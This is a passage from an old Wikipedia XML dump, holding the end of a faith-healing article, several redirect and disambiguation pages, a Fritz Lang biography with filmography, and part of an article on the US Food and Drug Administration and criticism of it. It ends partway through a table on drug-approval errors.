Some practitioners such as [[William Baldwin]] and [[Ken Page (Author)|Ken Page]] incorporated methods that were Christian in origin with Shamanic tools for work on clients regardless of their spiritual beliefs or backgrounds.

==Proposed sociobiological basis==
Some argue that faith healing may have a basis in [[sociobiology]] where [[evolution]] conferred survival advantage over the several million years of human [[pre-history]] to those tribes that had [[shamans]] who were thought to possess powers of healing by virtue of having undergone a [[neurological]] transformation whose symptoms  are similar to [[kundalini]].  The argument posits that humans have an innate capacity to respond to shamanistic type ministrations, perhaps entirely via the [[placebo]] response, or perhaps via other as yet unknown physiological processes.

In the UK and British Commonwealth countries, &quot;spiritual healing&quot; is used generically to designate healing by prayer, mental intent and/or the laying-on of hands, both within religious practitioner frameworks and in the secular community - where spiritual healing could include healing as taught and practiced by the National Federation of Spiritual Healiers (UK), Reiki, Therapeutic Touch, Healing Touch, and dozens of other related practices.

==Criticism==
Some would point out that faith healing has not scientifically been proven effective, since its practitioners can only cite [[anecdotal evidence]] of cases where it has been successful. Skeptics point out that proponents of faith healing ignore the far more numerous cases where the patient dies despite the efforts of faith healing.  Doctors often ascribe any success to the [[placebo effect]] or to [[spontaneous remission]]: some people will heal with or without treatment, and it is generally natural to credit the most recent treatment for the cure (this logical fallacy is called [[post hoc|post hoc ergo propter hoc]]).  

Prominent 1980's-era faith healer and [[televangelist]] [[Peter Popoff]] was publicly exposed by noted [[skeptic]] [[James Randi]] working together with popular TV host [[Johnny Carson]], when it was discovered that the apparent healing miracles and prophetic acts performed by Popoff were in fact part of an elaborately stage-managed setup including planting of audience members and broadcasts to an in-ear [[radio]] receiver. Other faith healers such as [[Benny Hinn]] have also been hit by reports of fraudulent activity.

==Ethical issues when conventional treatment is refused==
Faith healing can pose serious ethical problems for medical professionals when parents decline or refuse traditional medical care for their children.  In some countries, parents argue that constitutional guarantees of religious freedom include the right to rely on alternative healing to the exclusion of medical care.  Advocates of conventional medicine argue studies have shown faith healing no more effective than a placebo, making it unethical to rely on, though advocates of spiritual healing argue there exist methodical and bias issues.  Doctors as a rule consider it their duty to do everything that they can in the interests of the patient.  In consequence, where they judge medical treatment necessary to save an individual's life or health, and balancing the question with legal and privacy concerns, they may act contrary to the patient's or parental wishes.  In [[2000]] in Britain, a government ruling allowed a child, against much protest from the parents, to be treated by doctors.

==See also==
*[[Carnivàle]]
*[[:category: Faith Healers]]
*[[James Randi]] - Offers one million dollars for anyone who can prove faith healing.
*[[Homeopathy]]
*[[Muraqaba]]
*[[Psychic surgery]]
*[[Reiki]]
*[[Scientology]]
*[[Shaman|Shamanism]]
*[[Therapeutic Touch]]
*[[Christian Science]]

==External links==
*[http://www.spiritual.com.au/healing.html Articles on spiritual healing]
*[http://www.quranichealing.com Spiritual Healing of mind and body]
*[http://www.nfsh.org.uk/ National Federation of Spiritual Healers (United Kingdom)]
*[http://www.oohoi.com/inner_self/spiritual-healing/spiritual-healing-research.htm Proofs of Healing Power]
*[http://www.acu-cell.com/sh.html Discussions of Scriptural accounts of spiritual health and healing]
*[http://www.spirituality.com Christian Science healing]
* [http://www.spiritreleasement.org William Baldwin's Spirit Releasement Therapy]
* [http://www.kenpage.com Ken Page's Multidimensional Cellular Healing]
* [http://news.bbc.co.uk/2/hi/asia-pacific/4727929.stm proposed legislation to limit the activities of faith healers]
*[http://ex-pentecostals.org The Association of Former Pentecostals] a non-profit organization uniting former Pentecostals and Charismatics, many who believe that promises of &quot;instant miracles&quot; are a form of psychological or [[spiritual abuse]].
*[http://www.thefaithfulword.org/faithhealing.html Article: Faith Healing -- Is a Christian permitted to seek medical assistance and to use medicine? ]
*[http://www.mysteriouspeople.com/Matthew_Manning.htm Matthew Manning - Psychic Healer]
*[http://www.spirituality.com]
[[Category:Supernatural healing]]
[[Category:Forteana]]
[[Category:Charismatic and Pentecostal Christianity]]

[[de:Geistheiler]]
[[es:fe curativa]]
[[pt:Cura pela fé]]
[[sv:Healing]]</text>
    </revision>
  </page>
  <page>
    <title>Filet Crochet</title>
    <id>11628</id>
    <revision>
      <id>15909364</id>
      <timestamp>2002-05-20T22:58:23Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#redirect [[Filet crochet]]</text>
    </revision>
  </page>
  <page>
    <title>Furry</title>
    <id>11629</id>
    <revision>
      <id>41033416</id>
      <timestamp>2006-02-24T16:55:43Z</timestamp>
      <contributor>
        <username>Coyoty</username>
        <id>808722</id>
      </contributor>
      <comment>rv commentary</comment>
      <text xml:space="preserve">{{Wiktionary}}

'''Furry''' is slang often used by members within the [[furry fandom]] which may refer to:
*A character or artwork depicting [[anthropomorphism|anthropomorphic]] or [[zoomorphism|zoomorphic]] characteristics, also known as:
**[[Funny animal]]
**[[Kemono]]
**[[Talking animal]]
*A member of the [[furry fandom]], which is a loose amalgamation of interests including:
**Fans of artwork and stories which feature [[anthropomorphism|anthropomorphic]] animals
**[[Furry lifestyler]]s
**[[Fursuit]]ers
**[[Furvert]]s


'''Furry''' is also slang used by some in the [[gay]] community to refer to [[hirsute]] men, though a more common term for this use is ''[[Bear community|bear]]''.

{{disambig}}

[[de:Furry]]
[[fr:Furry]]
[[ja:ケモノ]]
[[ru:Фурри]]
[[sv:Fabeldjur]]</text>
    </revision>
  </page>
  <page>
    <title>Franciscans</title>
    <id>11630</id>
    <revision>
      <id>15909366</id>
      <timestamp>2002-07-25T01:55:02Z</timestamp>
      <contributor>
        <username>Mswake</username>
        <id>2651</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Franciscan]]</text>
    </revision>
  </page>
  <page>
    <title>Fritz Lang</title>
    <id>11631</id>
    <revision>
      <id>41280826</id>
      <timestamp>2006-02-26T06:44:01Z</timestamp>
      <contributor>
        <ip>72.47.55.17</ip>
      </contributor>
      <comment>/* Filmography */</comment>
      <text xml:space="preserve">[[Image:FritzLang.jpg|thumb|Fritz Lang]]
'''Friedrich Anton Christian Lang''' ([[December 5]], [[1890]] - [[August 2]], [[1976]]) was an [[Austrian]] [[film director]], [[screenwriter]] and occasional [[film producer]], one of the best known ''emigrés'' from [[Germany]]'s school of [[Expressionism (film)|expressionism]]. His most famous films are the groundbreaking ''[[Metropolis (1927 film)|Metropolis]]'' (the world's most expensive silent film at the time of its release) and ''[[M (1931 film)|M]]'', made before he moved to the [[United States]].


==Early life and career==
[[Image:Metropolis-new-tower-of-babel.jpg|thumb|right|320px|Metropolis - Lang's famous 1927 science fiction movie]]

Born in [[Vienna]], Lang grew up the son of an architect. Both his father and his mother were practising [[Roman Catholic Church|Roman Catholics]], as was Lang himself; indeed he was baptized in the [[Schottenkirche, Vienna|Schottenkirche]] near his family's home. However, his mother Paula Schlesinger Lang was born [[Jewish]] and was a convert to [[Catholicism]]. Lang took up civil engineering at the [[Technical University of Vienna]] but was not enthusiastic about it and switched studies to art in [[1908]]. In [[1910]] and [[1911]] he left Vienna to see the world, traveling to Africa and later Asia and the Pacific area. At the outbreak of the [[First World War]] he was drafted into service in the Austrian-Hungarian army and fought in [[World War I]], where he was wounded several times.  After recovering from injuries and [[combat stress reaction|shell shock]] he was discharged as [[lieutenant]] from the army.

After the war he joined Germany's [[Universum Film AG|Ufa]] studio just as the [[German Expressionism|Expressionist]] movement was waxing. In this first phase of his career, Lang alternated between art films such as ''Der Müde Tod'' (The Weary Death) and populist thrillers such as ''Die Spinnen'' (The Spiders) (a two-part film), combining popular genres with Expressionist techniques to create an unprecedented synthesis of popular entertainment with art cinema, culminating in his most famous silent works: ''Dr. Mabuse, der Spieler'' (Dr. Mabuse, the Gambler) ([[1922]]), a crime epic (running four hours in two parts in its original version, recently restored by the [[Munich]] Filmmuseum) focusing on the psychological conflict between the master criminal [[Dr. Mabuse|Mabuse]] and detective Von Wenk; ''Die Nibelungen'' ([[1924]]), and his most famous film, ''[[Metropolis (1927 film)|Metropolis]]'' ([[1927]]).

==The Goebbels myth==
Many of the stories about Lang's life and career are hard to verify, including perhaps the most famous Lang story of all.  The legend has it that [[Joseph Goebbels]] called Lang to his offices for a meeting in which he gave Lang two pieces of news:  the first was that his most recent film, ''[[Das Testament des Dr. Mabuse]]'' (The Testament of Dr. Mabuse) was being banned as an incitement to public disorder.  The second was that he was nevertheless so impressed by Lang's abilities as a filmmaker, he was offering Lang a position as the head of German film.  Lang had been, unbeknownst to Goebbels, already planning to leave Germany for Paris, but the meeting with Goebbels ran so long that the banks were closed by the time it finished, and Lang fled that night without his money, not to return until after the war.

The problem is that many portions of the story cannot be checked, and of those that can, most are contradicted by the evidence.  Lang actually left Germany with most of his money, unlike most refugees, and made several return trips later in the same year.  There were of course no witnesses to the meeting besides Goebbels and Lang, but Goebbels's appointment books, when they refer to the meeting, mention only the banning of ''Testament''.  No evidence has been discovered in any of Goebbels's writings to affirm the suggestion that he was planning to offer Lang any position.  Whatever the truth of this legend, it is known that Lang did in fact leave Germany in [[1934]] and moved to Paris and later to the [[United States]]. His wife [[Thea von Harbou]] had started to symphathize with the Nazis in the early 1930s and stayed behind. She joined the [[NSDAP]] (Nazi Party) in [[1932]], leading to a divorce the following year.

The aging Lang appeared as himself in Jean-Luc Godard's film &quot;Contempt&quot; (1964) in which the barest outline of this story is presented as fact.

==Metropolis, M and his life in America==
[[image:1m-film.jpg|thumb|right|300px|Fritz Lang's M is one of the most important early film noir works]]

Although some consider Lang's work to be simple [[melodrama]], he produced a coherent oeuvre that helped to establish the characteristics of ''[[film noir]]'', with its recurring themes of psychological conflict, paranoia, fate and moral ambiguity. His work influenced filmmakers as disparate as [[Jacques Rivette]] and [[William Friedkin]]. 

In [[1931]], between ''[[Metropolis (1927 film)|Metropolis]]'' and ''Das Testament des Dr. Mabuse'', Lang directed what many film scholars consider to be his masterpiece: ''[[M (1931 film)|M]]'', a disturbing story of a child murderer ([[Peter Lorre]] in his first starring role) who is hunted down and brought to trial by Berlin's criminal underworld.  ''M'' remains a powerful work; it was remade in [[1951]] by [[Joseph Losey]], but this version had little impact on audiences, and has become harder to see than the original film.

Upon his arrival in Hollywood, Lang joined the [[MGM]] studio and directed the impressive crime drama ''[[Fury (1936 film)|Fury]]''. He became a [[naturalized citizen]] of the United States in [[1939]].  Lang made twenty-one features in the next twenty-one years, working in a variety of genres at every major studio in Hollywood, occasionally producing his films as an independent. These films, often compared unfavourably by contemporary critics to Lang's earlier works, have since been reevaluated as being integral to the emergence and evolution of American genre cinema, ''[[film noir]]'' in particular. During this period, his visual style simplified (owing in part to the constraints of the Hollywood studio system) and his worldview became increasingly pessimistic, culminating in the cold, geometric style of his last American films, ''While the City Sleeps'' ([[1956]]) and ''Beyond a Reasonable Doubt'' ([[1957]]).

==Lang as a director==
Lang epitomized the stereotype of the tyrannical [[Teutonic]] film director such as [[Erich von Stroheim]] and [[Otto Preminger]]; he was known for being hard to work with. During the climactic final scene in ''M'', he allegedly threw Peter Lorre down a flight of stairs in order to give more authenticity to Lorre's battered look. He wore a monocle that added to the stereotype (though film historians say this particular cliché began with von Stroheim), and his image has been parodied in a number of media, including [[GWAR]]'s long form video ''Phallus in Wonderland''.

==Late work and death==
During the [[1950s]], Lang found it harder to find congenial production conditions in Hollywood and his advancing age left him less inclined to grapple with American backers. The German producer, Artur Brauner, was expressing interest in remaking not only ''[[The Indian Tomb]]'' (a story that Lang had developed in the twenties that was ultimately taken from him by studio heads and directed instead by [[Joe May]]) but Lang's earlier ''[[Doctor Mabuse]]'' pictures. Fearing that Brauner would proceed with or without his assent, Lang abandoned his plans for retirement and returned to Germany in order to make his ''Indian Epic'', which is regarded as a masterpiece by a number of film scholars today. Following the production, Brauner was ready to proceed with his remake of ''Das Testament des Doctor Mabuse'' when Lang approached him with the idea of adding another original film to the series. The result was ''[[Die Tausend Augen des Dr. Mabuse]]'' (The Thousand Eyes of Dr. Mabuse), made in a hurry and with a relatively small budget. It can be viewed as the marriage between the director's early experiences with expressionist techniques in Germany as well as the spartan style already visible in his late American work. Lang was approaching blindness during the production, making it his final project. 

Returning to the United States in retirement, he continued collecting research material and drafting screenplays, though he never made another film. While his career had ended without fanfare, his work went through a reappraisal in later years following [[Jean-Luc Godard]]'s decision to cast him in his film ''[[Le Mépris]]'' in addition to considerable critical adulation in the US from the likes of [[Peter Bogdanovich]].

He died in [[1976]] and was interred in the [[Forest Lawn Memorial Park (Hollywood Hills)|Forest Lawn - Hollywood Hills Cemetery]] in [[Los Angeles]].

==Trivia==
Fritz Lang was portrayed in the movie [[Fullmetal Alchemist: Conquerer of Shambala]]. In the film, he disguised himself as Mabuse, an elderly man, so that he could research and get inspiration for his next movie.


==Filmography==

*''Halbblut'' (The Half-Caste) (1919)
*''Die Spinnen, 1. Teil: Der Goldene See'' (Spiders, Part 1: The Golden Lake) (1919) 
*''Harakiri'' (Madame Butterfly) (1919) 
*''Die Pest in Florenz'' (The Plague in Florence) (1919) 
*''Der Herr der Liebe'' (Master of Love) (1919) 
*''Die Spinnen, 2. Teil: Das Brillantenschiff'' (Spiders, Part 2: The Diamond Ship) (1920) 
*''Das Wandernde Bild'' (The Wandering Image) (1920) 
*''[[Der müde Tod]]'' (Released in English as ''Beyond the Wall''; the German title means &quot;weary [[Death (personified)|Death]]&quot;) (1921) 
*''Vier um die Frau'' (Four Around a Woman) (1921) 
*''Dr. Mabuse, der Spieler'' (Dr. Mabuse, The Gambler) (1922) 
*''Die Nibelungen: Siegfried'' (Die Nibelungen: Siegfried) (1924) 
*''Die Nibelungen: Kriemhilds Rache'' (Die Nibelungen: Kriemheld's Revenge) (1924) 
*''[[Metropolis (1927 film)|Metropolis]]'' (1927) 
*''Spione'' (Spies) (1928) 
*''[[Frau im Mond]]'' (Woman in the Moon) (1929)
*''[[M (1931 film)|M]]'' (1931) 
*''Das Testament des Dr. Mabuse'' ([[The Testament of Dr. Mabuse]]) (1933) 
*''Liliom'' (1934) 
*''[[Fury (1936 film)|Fury]]'' (1936) 
*''[[You Only Live Once]]'' (1937) 
*''You and Me'' (1938) 
*''[[The Return of Frank James]]'' (1940) 
*''Western Union'' (1941) 
*''Man Hunt'' (1941) 
*''Confirm or Deny'' (1941) (uncredited)
*''Moontide ''(1942) (uncredited)
*''[[Hangmen Also Die]]'' (1943) 
*''[[Ministry of Fear]]'' (1944)
*''[[The Woman in the Window]]'' (1944)
*''[[Scarlet Street]]'' (1945) 
*''Cloak and Dagger'' (1946) 
*''[[Secret Beyond the Door]]'' (1948) 
*''[[House by the River]]'' (1950) 
*''American Guerrilla in the Philippines'' (1950) 
*''Rancho Notorious'' (1952) 
*''[[Clash by Night]]'' (1952) 
*''[[The Blue Gardenia]]'' (1953) 
*''[[The Big Heat]]'' (1953) 
*''[[Human Desire]]'' (1954) 
*''[[Moonfleet]]'' (1955) 
*''[[While the City Sleeps]]'' (1956) 
*''[[Beyond a Reasonable Doubt]]'' (1957) 
*''Der Tiger von Eschnapur'' (The Tiger of Eschnapur, or: The Tiger of Bengal) (1959)
*''Das indische Grabmal'' (The Indian Tomb, or: Journey to the Lost City) (1959) 
*''Die 1000 Augen des Dr. Mabuse'' (The Thousand Eyes of Dr. Mabuse) (1960)

==See also==
* [[List of Austrians|List of famous Austrians]]
* [[Film noir]]
* [[Expressionism]]
* [[Metropolis (1927 film)|Metropolis]]

==External links==
*{{imdb name|id=0000485|name=Fritz Lang}}
* [http://www.jscheuer.com/lang.htm Biographie]
* [http://www.sensesofcinema.com/contents/directors/02/lang.html Senses of Cinema - Biographie]
* [http://www.persocom.com.br/brasilia/erika.htm Lang and Metropolis - the first Science Fiction film]
* [http://www.filmportal.de/df/77/Uebersicht,,,,,,,,EFC121B064DE6C3FE03053D50B3736F2,,,,,,,,,,,,,,,,,,,,,,,,,,,.html Fritz Lang] at filmportal.de
* [http://www.freeinfosociety.com/site.php?postnum=595 Biography and Pictures]

[[Category:1890 births|Lang, Fritz]]
[[Category:1976 deaths|Lang, Fritz]]
[[Category:German film directors|Lang, Fritz]]
[[Category:Hollywood Walk of Fame|Lang, Fritz]]
[[Category:Jewish American directors|Lang, Fritz]]
[[Category:Naturalized citizens of the United States|Lang, Fritz]]
[[Category:Refugees|Lang, Fritz]]
[[Category:Roman Catholics|Lang, Fritz]]

[[da:Fritz Lang]]
[[de:Fritz Lang]]
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[[eo:Fritz LANG]]
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[[id:Fritz Lang]]
[[it:Fritz Lang]]
[[he:פריץ לאנג]]
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[[nl:Fritz Lang]]
[[ja:フリッツ・ラング]]
[[no:Fritz Lang]]
[[nn:Fritz Lang]]
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[[pt:Fritz Lang]]
[[ru:Ланг, Фриц]]
[[sv:Fritz Lang]]
[[tr:Fritz Lang]]</text>
    </revision>
  </page>
  <page>
    <title>Food and Drug Administration</title>
    <id>11632</id>
    <revision>
      <id>41567030</id>
      <timestamp>2006-02-28T04:54:42Z</timestamp>
      <contributor>
        <username>Autiger</username>
        <id>85174</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">{{redirect|FDA}}
[[Image:Food_and_Drug_Administration_logo.png|right|200px|FDA logo]]
The '''Food and Drug Administration''' ('''FDA''') of the [[United States]] is the government agency responsible for regulating [[food]] (human and animal), [[dietary supplement]]s, [[Medication|drug]]s (human and animal), [[cosmetic]]s, [[medical device]]s (human and animal), [[Biopharmaceutical|biologics]], and [[Blood|blood products]] in the United States.

==Description==

The FDA is a division of the [[Department of Health and Human Services]] (DHHS), which itself is part of the [[Executive Office of the President of the United States]]. The FDA is divided into five major Centers: the [[Center for Biologics Evaluation and Research]] (CBER), the [[Center for Devices and Radiological Health]] (CDRH), the [[Center for Drug Evaluation and Research]] (CDER), the [[Center for Food Safety and Applied Nutrition]] (CFSAN) and the [[Center for Veterinary Medicine]] (CVM). Each center has its own origins and history, the oldest being CBER, which oversees [[blood products]], [[vaccines]], and newer therapeutics related to [[stem cell]]s and [[gene therapy]].  CDER, which regulates human pharmaceuticals, receives considerable public scrutiny.

[[2005|Today]], the FDA is headed by acting Commissioner, [[Andrew von Eschenbach|Dr. Andrew von Eschenbach]], who succeeds [[Lester Crawford|Dr. Lester Crawford]] who resigned on [[September 23]], [[2005]] only two months after his final Senate confirmation.

The over-arching mandate of the FDA is to regulate the multitude of medicinal products in a manner that ensures the safety of the American public and the efficacy claims (label) of marketed drugs. The FDA's budget for approving, labeling, and monitoring drugs is roughly $290 million per year. &quot;Review teams&quot; employ around 1,300 employees to approve new drugs. The &quot;safety team&quot; has 72 employees to determine whether new drugs are hurting people. The safety team monitors the effects of more than 3,000 prescription drugs on 200 million people with a budget of about $15 million a year. The FDA requires a four phased series of [[clinical trials]], with phase three being the largest and usually requiring 1,000-3,000 patients. 

One aspect of its jurisdiction over [[food]] is [[regulation]] of the content of [[health claims on food labels]].  However, because regulating the content of labels implicates the [[First Amendment]], FDA must balance concerns about the public health with the right to free speech.  Dan Troy, a lawyer who was Chief Counsel of the Food and Drug Division from August 2001 to November 2004, raised the agency's focus on First Amendment issues. 

The FDA does not pre-approve [[dietary supplement]]s on their safety and efficacy, unlike drugs. In contrast, the FDA can only go after dietary supplement manufacturers after they have put unsafe products on the market. However, certain foods (such as infant formula and medical foods) are deemed special nutritionals because they are consumed by highly vulnerable populations and are thus regulated more strictly than the majority of dietary supplements.

According to the ''Small Business Guide to FDA'', &quot;Anyone may request or petition FDA to change or create an Agency policy or regulation under 21 CFR Part 10.30.&quot;  This is called a '''Citizen's Petition''' and it is one method used to challenge specific approvals by the FDA.{{ref|petitionform}}

The ''[[FDA Consumer]]'' magazine was first issued in 1989 to spread informatin on how to get and stay healthy.

==History==

* 1927 &amp;mdash; The &quot;Bureau of Chemistry&quot; is reorganized into two separate entities. Regulatory functions are located in the &quot;Food, Drug, and Insecticide Administration&quot;, and nonregulatory research is located in the &quot;Bureau of Chemistry and Soils&quot;. 

* 1930 &amp;mdash; The name of the &quot;Food, Drug, and Insecticide Administration&quot; is shortened to &quot;Food and Drug Administration&quot; (FDA) under an agricultural appropriations act.

* 1938 &amp;mdash; Over 100 people died after consuming a raspberry-flavored sulfa elixir which had been rushed to market by the S.E. Massengill Company without any testing.  About 70 percent of the elixir was [[diethylene glycol]], which is now known to be [[poison]]ous.  The resulting scandal and public outcry led to the passage of the [[Federal Food, Drug, and Cosmetic Act]] of 1938, which gave the FDA the power to preapprove all new drugs introduced into interstate commerce.
* 1990 &amp;mdash; FDA promulgates regulations banning &quot;gifts of substantial value&quot; from drug companies to doctors. Minor gifts (like meals, tickets, and travel) are not banned.

* 1992 &amp;mdash; Congress passes a new law creating a faster approvals process to legalize new drugs. The FDA must hire more reviewers and speed up reviews without sacrificing proper study and testing. The drug industry must pay &quot;user fees&quot; with every [[new drug application]]. Approval times drop from 30 to 12 months on average. 60% of new drugs come on the market in the U.S. first, before other countries. Before this law, when the approval process was slower, more new drugs came out in other countries first.

* 1997  &amp;mdash; FDA loosens restrictions on consumer advertising. Drug companies are allowed to spend less time describing risks and side effects on [[Television|TV]] commercials. A large increase in TV drug ads caused a large increase in drug sales within months.

* Year unknown &amp;mdash; The [[Naval Ordnance Laboratory]] White Oak site was apportioned to the FDA to become its new headquarters.  However, budget reductions have delayed the move to White Oak for many FDA offices.

== Related legislation ==
* [[1902]] &amp;mdash; [[Biologics Control Act]]
* [[1906]] &amp;mdash; [[Pure Food and Drug Act]]
* [[1938]] &amp;mdash; [[Federal Food, Drug, and Cosmetic Act]]
* [[1944]] &amp;mdash; [[Public Health Service Act]]
* [[1951]] &amp;mdash; [[Food, Drug, and Cosmetics Act Amendments]] PL 82&amp;ndash;215
* [[1953]] &amp;mdash;  [[Flammable Fabrics Act]] PL 83&amp;ndash;88  
* [[1960]] &amp;mdash;  [[Federal Hazardous Substances Labeling Act]] PL 86&amp;ndash;613
* [[1962]] &amp;mdash;  [[Food, Drug, and Cosmetics Act Amendments]] PL 87&amp;ndash;781
* [[1965]] &amp;mdash;  [[Federal Cigarette Labeling and Advertising Act]] PL 89&amp;ndash;92  
* [[1966]] &amp;mdash;  [[Fair Packaging and Labeling Act]] PL 89&amp;ndash;755
* [[1966]] &amp;mdash;  [[Child Protection Act]] PL 89&amp;ndash;756
* [[1970]] &amp;mdash;  [[Federal Cigarette Labeling and Advertising Act Amendments]] PL 91&amp;ndash;222
* [[1972]] &amp;mdash;  [[Consumer Products Safety Act]] PL 92&amp;ndash;573
* [[1976]] &amp;mdash;  [[Medical Device Regulation Act]] PL 94&amp;ndash;295
* [[1986]] &amp;mdash;  [[Comprehensive Smokeless Tobacco Health Education Act]] PL 99&amp;ndash;252
* [[1988]] &amp;mdash;  [[Anti&amp;mdash;drug Abuse Act]] PL 100&amp;ndash;690
* [[1990]] &amp;mdash;  [[Nutrition Labeling and Education Act]] PL 101&amp;ndash;535
* [[1992]] &amp;mdash;  [[Prescription Drug User Fee Act]] PL 102&amp;ndash;571
* [[1997]] &amp;mdash;  [[Food and Drug Modernization Act]]

==Criticism==

The FDA has come under much criticism from many groups, including the [[Government Accountability Office]]. FDA regulations are blamed for causing high drug prices, keeping life-saving drugs off the market, prohibiting access to [[Emergency contraception|emergency contraceptives]], and censoring health information about nutritional supplements and foods. Some propose that the FDA be relegated to a voluntary inspection agency in order to remedy these problems.

===Regarding high drug prices===

'''The Cost of Drug Development'''

Many maintain that FDA regulations and policy cause unnecessarily high drug prices in America.  One concern is the cost of the approval process which may provide a disincentive for firms to develop new drugs, and require high prices to recoup their investment.  This however, shows a basic misunderstanding of [[pricing]] theory, which stipulates that prices should be set at the level which maximize revenue, regardless of a firm's costs.  Whether the derived profits are 'fair' is another issue (see [[Pharmaceutical Company]]).  Critcs of the FDA cite 1995 and 2002 studies by Joseph A. Dimasi which claim that it costs, on the average, approximiately 800 million dollars to bring a drug to market in the U.S. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=12457421&amp;dopt=Abstract].  This figure includes the high cost of failed research programs (which it is presumed must be pursued in order that some may suceed), and the drug company's [[oportunity cost of capital]], which is very high because it is compounded over long (15-20 year) development cycles.  Dimasi's critics  question whether this is a fair allocation of costs, cite his lack of consideration of government research grants and tax rebates, and claim that the scope of the research was too narrow because it only included New Chemical Entities (NCEs).  Such critics suggest a revised cost that is under 200 million dollars, about 29% of which is spent on FDA required clinical trials. [http://www.citizen.org/congress/reform/drug_industry/articles.cfm?ID=6532]  However, the objective of the DiMasi paper was not to determine &quot;out of pocket&quot; costs for individual projects, but to acertain the &quot;price of innovation&quot; in terms that reflect a firm's incentive to perform research and development of novel pharmaceuticals.  Furthermore, under no circumstance would it be reasonable to forgo clinical trials entirely, and a marginal decrease in their size would result in only a marginal decrease in their cost.  Critics of DiMasi also allege that there are conflicts of interest because the data was obtained from drug manufactures, and the center which employs Dimasi is partially funded by pharmaceutical companies.


'''Competition'''

A second way in which the FDA is seen to be responsible for high drug prices is by opposing the importation of cheaper drugs from foreign sources, which is held to be an anti-competitive policy that keeps drug prices artificially high in the United States. Prices of almost all pharmaceutical drugs in Europe are significantly lower than in the U.S. where import is allowed. [http://www.stopfda.org/june99-ripoff.htm] 

Defenders of the FDA's position point out that importation is not banned by FDA, so long as the imported drug complies with FDA regulations regarding importation.  They observe that the FDA requires imported drugs to meet the same safety, efficacy, and manufacturing standards as those manufactured in the United States.  These standards are similar in the United States, the European Union, Japan, and most of the world (represented by the the WHO), all of which observe guidelines set forth by the [[International Conference on Harmonization]] (ICH).  Although some drugs that are approved by European regulatory agencies are not approved in the U.S., this would not be expected to affect the prices of approved drugs.  Where price differences do exist, the lower prices are often due to government imposed price caps, not because of greater competition.  In fact, it is common for generic manufacturers to enter the market and begin selling at drastically lower prices very soon after a drug's patent protection is lost.

Lower drug prices in Europe and Canada are widely attributed to price controls imposed by governments, rather than to less stringent regulatory requirements.  Those who hold this view also contend that these price controls contribute to artificially low revenues, which in turn lead to less available capital for research and development.  Because of this, many contend, that international (non-U.S.) economies spend less on research and development than the U.S. [http://www.phrma.org/issues/researchdev/index.cfm].  

Some offer the observation that prices of nutritional supplements in Europe are much more expensive in than in the U.S. [http://www.lef.org/magazine/mag2005/jul2005_awsi_01.htm] They note that nutritional supplements are regulated in Europe, but not in the U.S. (as a result of the result of the passage of the [[Dietary Supplement Health and Education Act]] that severely limits the ability of the FDA to regulate them). Many nutritional supplements require a prescription in Europe, but not in the U.S. Hence, they reason that a cause of high pharmaceutical costs in the U.S. is regulation. Consequently, they reason that if the FDA discontinued regulating pharmaceuticals that they would be much more affordable. [http://www.lef.org/magazine/mag2005/mar2005_awsi_01.htm] Requiring individuals to pay to visit a doctor to obtain a [[prescription]] for a drugs further increases costs to the consumer. Many countries have much less strict regulations on what drugs may be dispensed without a prescription. These drugs are available for importation without a prescription in the [[underground economy]] through the internet, but few take advantage of this due to legal fears.

===Regarding drug approval===

One of the key issues of drug safety dealt with by the FDA, and responsible for much recent controversy, is related to the concept of [[patent]]s. When a patent is awarded, the drug's creator is given exclusive manufacturing rights.  If the drug is extremely popular, this motivates other companies to invent their own (different) drugs which accomplish the same effect. (Because a drug is patented, they cannot produce the exact same drug). For example, [[Cialis]] was created because of the popularity of [[Viagra]]. However, the question is, when new, competing substances come out should they be approved, not because of their absolute safety, but because of their relative safety compared to an [[approved drug]]. For example, say &quot;drug b&quot; was created to compete with &quot;drug a&quot;. Now if &quot;drug b&quot; was the first one out, and it had a 5 percent chance of heart attack, the FDA might find this acceptable. However if &quot;drug a&quot; was already out, and it had a 2.5 percent chance of heart attack, then the FDA would be reluctant to approve &quot;b&quot;.  Only people who were ignorant of that higher risk would take drug b -- unless it were significantly cheaper, and the purchaser preferred the price savings of &quot;b&quot; to the relative safety of &quot;a&quot;. 

This phenomenon is at the center of a present controversy over the recall of [[Vioxx]], which is causing more attention to be brought to the FDA.  David J. Graham, a scientist with the FDA, says he was pressured by his supervisors not to warn the public about dangers of drugs like Vioxx, and so recommended to congress that a separate agency be created which is dedicated to continuously monitoring drug safety.

The FDA charges fees to pharmaceutical companies that wish to &quot;expedite&quot; the drug approval process. This is considered by many to be a conflict of interest, as the companies who are supposed to be regulated by the FDA are those who are paying them to speed up approvals. They reason that this &quot;pay-off&quot; to expedite the process may sacrifice the quality of studies.  These concerns are based on an inadequate understanding of the process, however.  Several options exist for bringing additional focus to the review and approval of a drug.  All of these options require the drug company to show that the proposed drug meets several criteria, all designed to ensure the priority or expedited review is in the interest of the public health.  The user fees charged by FDA are meant to offset FDA staff costs and expenses related to the review and approval.  These fees are charged regardless of the priority or expedited status of the review.  This process is governed by the [http://www.fda.gov/oc/pdufa/overview.html Prescription Drug User Fees Act].

===Regarding incentive to delay approval of new drugs===
Many economists who study the FDA are critical.{{ref|Review}} Their views; however, are controversial. Economists [[Milton Friedman]], Daniel B. Klein and Alexander Tabarrok are three economists who argue that the FDA causes a ''net'' harm. 

Friedman (1979) notes that the FDA can make two types of errors.{{ref|Friedman}} '''Type 1''' is to approve a drug that has deadly or harmful side effects in a large number of people. If you make this error, like approving a [[thalidomide]], you will be blasted by the news media, and your reputation will be ruined.

'''Type 2''' is refusing approval of a drug that is capable of saving many lives or relieving great distress and that has no untoward side effects. If you make a type 2 error, few will know it, as the people whose lives might have been saved will not be around to protest, and their families will have no way of knowing that their loved ones lost their lives because of the caution of an unknown FDA official.

The following table from http://www.fdareview.org/incentives.shtml illustrates the two types of error and the reason for systematic bias toward type 2 errors.

{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot;
|-
!
! Drug is beneficial
! Drug is harmful
|-
! FDA allows the drug
| Correct decision
|
'''Type 1 error:'''&lt;br /&gt;
Allowing a harmful drug.&lt;br /&gt;
Victims are presumably identifiable and traceable.&lt;br /&gt;
''Error is self-correcting''
|-
! FDA does not allow the drug
|
'''Type 2 error:'''&lt;br /&gt;
Disallowing a beneficial drug. Victims are not identifiable.&lt;br /&gt;
